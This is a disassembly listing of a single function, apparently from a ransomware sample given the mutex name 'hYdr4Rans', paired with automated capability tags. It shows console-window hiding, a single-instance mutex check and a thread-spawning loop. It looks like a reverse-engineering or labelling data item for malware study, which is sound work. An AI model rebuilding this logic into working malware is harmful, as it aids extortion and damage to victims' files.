Function at 0x410340
Capabilities:
Check mutex and terminate process on windows
Check mutex on windows
Hide graphical window
Terminate process

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x5646f9
mov eax, dword fs:[0]
push eax
sub esp, 0x1c0
mov eax, dword [0x5db100]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
xorps xmm0, xmm0
mov dword [ebp - 0x44], 0
lea ecx, [ebp - 0x4c]
movq qword [ebp - 0x4c], xmm0
call fcn.0040ac50
mov dword [ebp - 4], 0
mov eax, dword [ebp - 0x4c]
mov ecx, dword [ebp - 0x48]
sub ecx, eax
mov dword [0x5e6fa8], eax
push ecx
lea ecx, [ebp - 0x40]
call fcn.0040aaf0
add esp, 4
mov esi, eax
cmp esi, 0x5e7048
je 0x4103f1
mov eax, dword [0x5e705c]
cmp eax, 0x10
jb 0x4103cb
inc eax
mov ecx, 0x5e7048
push eax
push dword [0x5e7048]
call fcn.00404a80
push esi
mov ecx, 0x5e7048
mov dword [0x5e705c], 0xf
mov dword [0x5e7058], 0
mov byte [0x5e7048], 0
call fcn.00404800
mov byte [ebp - 4], 0
mov eax, dword [ebp - 0x2c]
cmp eax, 0x10
jb 0x41040a
inc eax
lea ecx, [ebp - 0x40]
push eax
push dword [ebp - 0x40]
call fcn.00404a80
push 0
call dword [sym.imp.KERNEL32.dll_GetConsoleWindow]
push eax
call dword [sym.imp.USER32.dll_ShowWindow]
push str.Local_hYdr4Rans_
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexA]
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
jne 0x41045c
lea ecx, [ebp - 0x4c]
call fcn.004041c0
or eax, 0xffffffff
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.00448b50
mov esp, ebp
pop ebp
ret
call fcn.0040ed00
lea ecx, [ebp - 0x40]
call fcn.0040bdd0
mov esi, eax
cmp esi, 0x5e6fe8
je 0x4104b5
mov eax, dword [0x5e6ffc]
cmp eax, 0x10
jb 0x41048f
inc eax
mov ecx, 0x5e6fe8
push eax
push dword [0x5e6fe8]
call fcn.00404a80
push esi
mov ecx, 0x5e6fe8
mov dword [0x5e6ffc], 0xf
mov dword [0x5e6ff8], 0
mov byte [0x5e6fe8], 0
call fcn.00404800
mov byte [ebp - 4], 0
mov eax, dword [ebp - 0x2c]
cmp eax, 0x10
jb 0x4104ce
inc eax
lea ecx, [ebp - 0x40]
push eax
push dword [ebp - 0x40]
call fcn.00404a80
cmp dword [0x5e7098], 0x10
mov ecx, 0x5e7084
mov edx, dword [0x5e7094]
cmovae ecx, dword [0x5e7084]
push 0
push 0x5c9f81
call fcn.00415380
add esp, 8
test eax, eax
je 0x41097f
cmp dword [0x5e7014], 0x10
mov ecx, 0x5e7000
mov edx, dword [0x5e7010]
cmovae ecx, dword [0x5e7000]
push 0
push 0x5c9f81
call fcn.00415380
add esp, 8
test eax, eax
jne 0x41097f
xorps xmm0, xmm0
mov dword [ebp - 0x20], eax
movq qword [ebp - 0x28], xmm0
xor ebx, ebx
mov dword [ebp - 0x28], eax
mov dword [ebp - 0x24], ebx
mov dword [ebp - 0x184], eax
mov dword [ebp - 0x20], eax
mov byte [ebp - 4], 3
lea ecx, [ebp - 0x1c]
movq qword [ebp - 0x1c], xmm0
mov dword [ebp - 0x14], ebx
call fcn.0040c000
mov byte [ebp - 4], 4
mov esi, dword [ebp - 0x1c]
mov edi, dword [ebp - 0x18]
cmp esi, edi
je 0x41088d
push 0xffffffffffffffff
push 0
push esi
lea ecx, [ebp - 0x40]
mov dword [ebp - 0x2c], 0xf
mov dword [ebp - 0x30], 0
mov byte [ebp - 0x40], 0
call fcn.004044a0
mov byte [ebp - 4], 5
lea ecx, [ebp - 0x1bc]
push 2
push 0x5cddd4
mov dword [ebp - 0x1a8], 0xf
mov dword [ebp - 0x1ac], 0
mov byte [ebp - 0x1bc], 0
call fcn.004043a0
mov byte [ebp - 4], 6
lea ecx, [ebp - 0x1a4]
push 1
push 0x5cddd8
mov dword [ebp - 0x190], 0xf
mov dword [ebp - 0x194], 0
mov byte [ebp - 0x1a4], 0
call fcn.004043a0
lea eax, [ebp - 0x1bc]
mov byte [ebp - 4], 7
push eax
lea edx, [ebp - 0x1a4]
lea ecx, [ebp - 0x40]
call fcn.0040bfa0
add esp, 4
mov dword [ebp - 0x50], 0xf
lea ecx, [ebp - 0x64]
mov dword [ebp - 0x54], 0
mov byte [ebp - 0x64], 0
push 0xffffffffffffffff
push 0
push eax
call fcn.004044a0
mov eax, dword [ebp - 0x190]
cmp eax, 0x10
jb 0x41064a
inc eax
lea ecx, [ebp - 0x1a4]
push eax
push dword [ebp - 0x1a4]
call fcn.00404a80
mov dword [ebp - 0x190], 0xf
mov dword [ebp - 0x194], 0
mov byte [ebp - 0x1a4], 0
mov byte [ebp - 4], 0xa
mov eax, dword [ebp - 0x1a8]
cmp eax, 0x10
jb 0x410687
inc eax
lea ecx, [ebp - 0x1bc]
push eax
push dword [ebp - 0x1bc]
call fcn.00404a80
push 0x104
lea eax, [ebp - 0x180]
mov dword [ebp - 0x1a8], 0xf
push 0
push eax
mov dword [ebp - 0x1ac], 0
mov byte [ebp - 0x1bc], 0
call fcn.0053a6d0
add esp, 0xc
lea eax, [ebp - 0x64]
cmp dword [ebp - 0x50], 0x10
lea ecx, [ebp - 0x17c]
mov dword [ebp - 0x180], ecx
lea ecx, [ebp - 0x180]
cmovae eax, dword [ebp - 0x64]
push 3
push eax
call fcn.00414d20
lea edx, [ebp - 0x64]
mov byte [ebp - 4], 0xb
lea ecx, [ebp - 0x7c]
call fcn.0040ae50
lea eax, [ebp - 0x7c]
mov byte [ebp - 4], 0xc
push eax
lea edx, [ebp - 0x184]
mov dword [ebp - 0x184], fcn.0040da10
lea ecx, [ebp - 0x18c]
call fcn.004184e0
add esp, 4
mov edx, eax
mov byte [ebp - 4], 0xd
lea ecx, [ebp - 0x1c4]
call fcn.00418570
mov ebx, dword [ebp - 0x18c]
test ebx, ebx
je 0x41076b
cmp dword [ebx + 0x14], 8
jb 0x410741
mov eax, dword [ebx + 0x14]
mov ecx, ebx
inc eax
push eax
push dword [ebx]
call fcn.00416520
mov dword [ebx + 0x14], 7
cmp dword [ebx + 0x14], 8
mov dword [ebx + 0x10], 0
jb 0x410759
mov eax, dword [ebx]
jmp 0x41075b
mov eax, ebx
xor ecx, ecx
push 0x1c
push ebx
mov word [eax], cx
call fcn.00449042
add esp, 8
lea eax, [ebp - 0x1c4]
mov byte [ebp - 4], 0xe
push eax
lea ecx, [ebp - 0x28]
call fcn.004109e0
mov byte [ebp - 4], 0xc
cmp dword [ebp - 0x1c0], 0
setne al
test al, al
jne 0x410986
lea eax, [ebp - 0x64]
mov dword [ebp - 0x184], fcn.0040d670
push eax
lea edx, [ebp - 0x184]
lea ecx, [ebp - 0x188]
call fcn.004186c0
add esp, 4
mov edx, eax
mov byte [ebp - 4], 0xf
lea ecx, [ebp - 0x1cc]
call fcn.00418750
mov eax, dword [ebp - 0x188]
test eax, eax
je 0x4107d7
push eax
call fcn.00417ed0
lea eax, [ebp - 0x1cc]
mov byte [ebp - 4], 0x10
push eax
lea ecx, [ebp - 0x28]
call fcn.004109e0
mov byte [ebp - 4], 0xc
cmp dword [ebp - 0x1c8], 0
setne al
test al, al
jne 0x410986
mov eax, dword [ebp - 0x68]
cmp eax, 8
jb 0x410815
inc eax
lea ecx, [ebp - 0x7c]
push eax
push dword [ebp - 0x7c]
call fcn.00416520
xor eax, eax
mov dword [ebp - 0x68], 7
mov word [ebp - 0x7c], ax
lea ecx, [ebp - 0x17c]
mov eax, dword [ebp - 0x180]
mov dword [ebp - 0x6c], 0
cmp eax, ecx
je 0x410842
push eax
call fcn.0054198e
add esp, 4
mov eax, dword [ebp - 0x50]
cmp eax, 0x10
jb 0x410857
inc eax
lea ecx, [ebp - 0x64]
push eax
push dword [ebp - 0x64]
call fcn.00404a80
mov byte [ebp - 4], 4
mov eax, dword [ebp - 0x2c]
cmp eax, 0x10
jb 0x410870
inc eax
lea ecx, [ebp - 0x40]
push eax
push dword [ebp - 0x40]
call fcn.00404a80
add esi, 0x18
cmp esi, edi
jne 0x410570
mov eax, dword [ebp - 0x20]
mov ebx, dword [ebp - 0x24]
mov edi, dword [ebp - 0x18]
mov esi, dword [ebp - 0x1c]
mov dword [ebp - 0x184], eax
mov eax, dword [ebp - 0x28]
cmp eax, ebx
je 0x410902
lea esi, [eax + 4]
cmp dword [esi], 0
jne 0x4108b5
push 1
call fcn.00433a5a
add esp, 4
cmp dword [esi], 0
jne 0x4108b5
push 1
call fcn.00433a5a
add esp, 4
call sub.KERNEL32.dll_GetCurrentThreadId
cmp dword [esi], eax
jne 0x4108c8
push 5
call fcn.00433a5a
add esp, 4
push 0
push dword [esi]
push dword [esi - 4]
call fcn.004361e5
add esp, 0xc
test eax, eax
je 0x4108e5
push 2
call fcn.00433a5a
add esp, 4
mov dword [esi - 4], 0
mov dword [esi], 0
add esi, 8
lea eax, [esi - 4]
cmp eax, ebx
jne 0x410897
mov edi, dword [ebp - 0x18]
mov esi, dword [ebp - 0x1c]
test esi, esi
je 0x41094e
push dword [ebp - 0x188]
mov edx, edi
push ecx
mov ecx, esi
call fcn.004188c0
mov ecx, dword [ebp - 0x14]
mov eax, 0x2aaaaaab
mov esi, dword [ebp - 0x1c]
add esp, 8
sub ecx, esi
imul ecx
sar edx, 2
mov eax, edx
shr eax, 0x1f
add eax, edx
push eax
push esi
call fcn.00416180
mov dword [ebp - 0x1c], 0
mov dword [ebp - 0x18], 0
mov dword [ebp - 0x14], 0
mov ecx, dword [ebp - 0x28]
test ecx, ecx
je 0x41097f
mov eax, ecx
cmp ecx, ebx
je 0x41096d
nop dword [eax + eax]
cmp dword [eax + 4], 0
jne 0x410986
add eax, 8
cmp eax, ebx
jne 0x410960
mov eax, dword [ebp - 0x184]
sub eax, ecx
sar eax, 3
push eax
push ecx
call fcn.00416040
push 0
call fcn.00541f4f
call fcn.005429f5
int3